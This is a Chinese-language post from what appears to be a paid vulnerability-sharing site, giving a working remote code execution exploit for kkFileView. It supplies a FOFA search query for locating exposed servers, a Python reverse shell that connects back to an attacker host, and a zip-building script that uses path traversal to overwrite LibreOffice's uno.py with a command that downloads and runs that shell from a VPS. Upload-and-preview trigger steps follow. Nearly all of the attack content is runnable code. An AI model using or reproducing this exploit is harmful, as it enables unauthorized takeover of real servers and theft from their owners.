kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

FOFA：

app=”kkFileView”

步骤

保存ft.py,vpn起web服务

import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("ip",port))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/sh","-i"])

图片[1]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

制作ft.zip,上传并预览

import zipfile

if __name__ == “__main__”:

try:

binary1 = b’test123′

binary2 = b’import os\r\nos.system(\’wget http://vps:30285/ft.py && python3 ft.py\’)’

zipFile = zipfile.ZipFile(“ft.zip”, “a”, zipfile.ZIP_DEFLATED)

info = zipfile.ZipInfo(“ft.zip”)

zipFile.writestr(“test”, binary1)

zipFile.writestr(“../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py”, binary2)

zipFile.close()

except IOError as e:

raise e

图片[2]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

图片[3]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

图片[4]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

然后随便创一个.odt文件，上传并浏览。

图片[5]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

图片[6]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

图片[7]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

文章版权归作者所有，未经允许请勿转载。

THE END

漏洞库
# RCE

kkFileView存在任意文件上传致远程代码执行漏洞

FOFA：

步骤

请登录后发表评论

1会员必看手册（1.8.6版本 25.12.1更新）

2会员手册版本更新（恢复md5解密功能）

3普华科技PowerPms ForgotPassword 存在sql注入

4无境靶场练习：win11通关vulntarget-b

5XWiki Platform 文件读取 (CVE-2025-55749)

6天地伟业Easy7 queryUserbyDesc 存在SQL注入